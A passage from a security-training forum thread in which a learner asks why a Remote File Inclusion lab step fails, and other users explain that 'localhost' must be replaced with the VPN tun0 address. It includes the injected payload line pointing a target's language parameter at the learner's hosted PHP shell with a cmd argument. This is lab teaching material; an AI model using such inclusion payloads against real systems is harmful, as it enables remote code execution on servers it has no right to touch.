Remote File Inclusion

So iam still learning in HTB(academy) and i ran into trouble File Inclusion / Directory Traversal - Remote File Inclusion module when i run
python3 -m http.server 8080
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/ )

but when i add the http://localhost:8080/file after language parameter.
i should get a respons in terminal like the module shows
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/ )
127.0.0.1 - - [03/Jan/2020 07:15:50] code 404, message File not found
127.0.0.1 - - [03/Jan/2020 07:15:50] “GET /file HTTP/1.0” 404 -

but i only see
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/ )
no response what so ever on terminal so what am i mising ?

@Alex191 said:

So iam still learning in HTB(academy) and i ran into trouble File Inclusion / Directory Traversal - Remote File Inclusion module when i run
python3 -m http.server 8080
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/ )

but when i add the http://localhost:8080/file after language parameter.
i should get a respons in terminal like the module shows
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/ )
127.0.0.1 - - [03/Jan/2020 07:15:50] code 404, message File not found
127.0.0.1 - - [03/Jan/2020 07:15:50] “GET /file HTTP/1.0” 404 -

but i only see
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/ )
no response what so ever on terminal so what am i mising ?

You need to visit http://localhost:8080/file with a browser or curl. Your webserver is just waiting for requests.

Type your comment> @TazWake said:

@Alex191 said:

So iam still learning in HTB(academy) and i ran into trouble File Inclusion / Directory Traversal - Remote File Inclusion module when i run
python3 -m http.server 8080
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/ )

but when i add the http://localhost:8080/file after language parameter.
i should get a respons in terminal like the module shows
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/ )
127.0.0.1 - - [03/Jan/2020 07:15:50] code 404, message File not found
127.0.0.1 - - [03/Jan/2020 07:15:50] “GET /file HTTP/1.0” 404 -

but i only see
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/ )
no response what so ever on terminal so what am i mising ?

You need to visit http://localhost:8080/file with a browser or curl. Your webserver is just waiting for requests.

Ehter iam mising a step or iam just realy stupid -.-‘’

ok here is my actions step by step

1)i started a php server ( python3 -m http.server 8080)
2)wrote a shell whit nano wich i saved
3)) i go targets ip
3) i press language
4) then after language i inserted http://localhost:8080/shell.php&cmd=comand

but nothing :frowning:

@Alex191 said:

Ehter iam mising a step or iam just realy stupid -.-‘’

ok here is my actions step by step

1)i started a php server ( python3 -m http.server 8080)
2)wrote a shell whit nano wich i saved
3)) i go targets ip
3) i press language
4) then after language i inserted http://localhost:8080/shell.php&cmd=comand

but nothing :frowning:

You aren’t being stupid.

I haven’t look at this lab so I don’t know what the specifics are.

However “localhost” has a very specific meaning. It is generally tied to the “loopback” address on a machine and is specific to the machine you issue it on. When you insert ‘http://localhost:8080/shell.php&cmd=comand’ on the remote machine, it will look for something on 127.0.0.1 on the remote machine. It cant route that traffic back to your machine.

If you want the remote machine to call a shell on your machine, you need to give it an IP address it can route traffic to.

So, I dont know what the lab instructions are but I’ve no idea how you can get a remote file inclusion using localhost.

if this machine uses vpn to connect, you just need to change “localhost” to tun0 address IN URL bar
tun0 address you can find in terminal with command “ifconfig”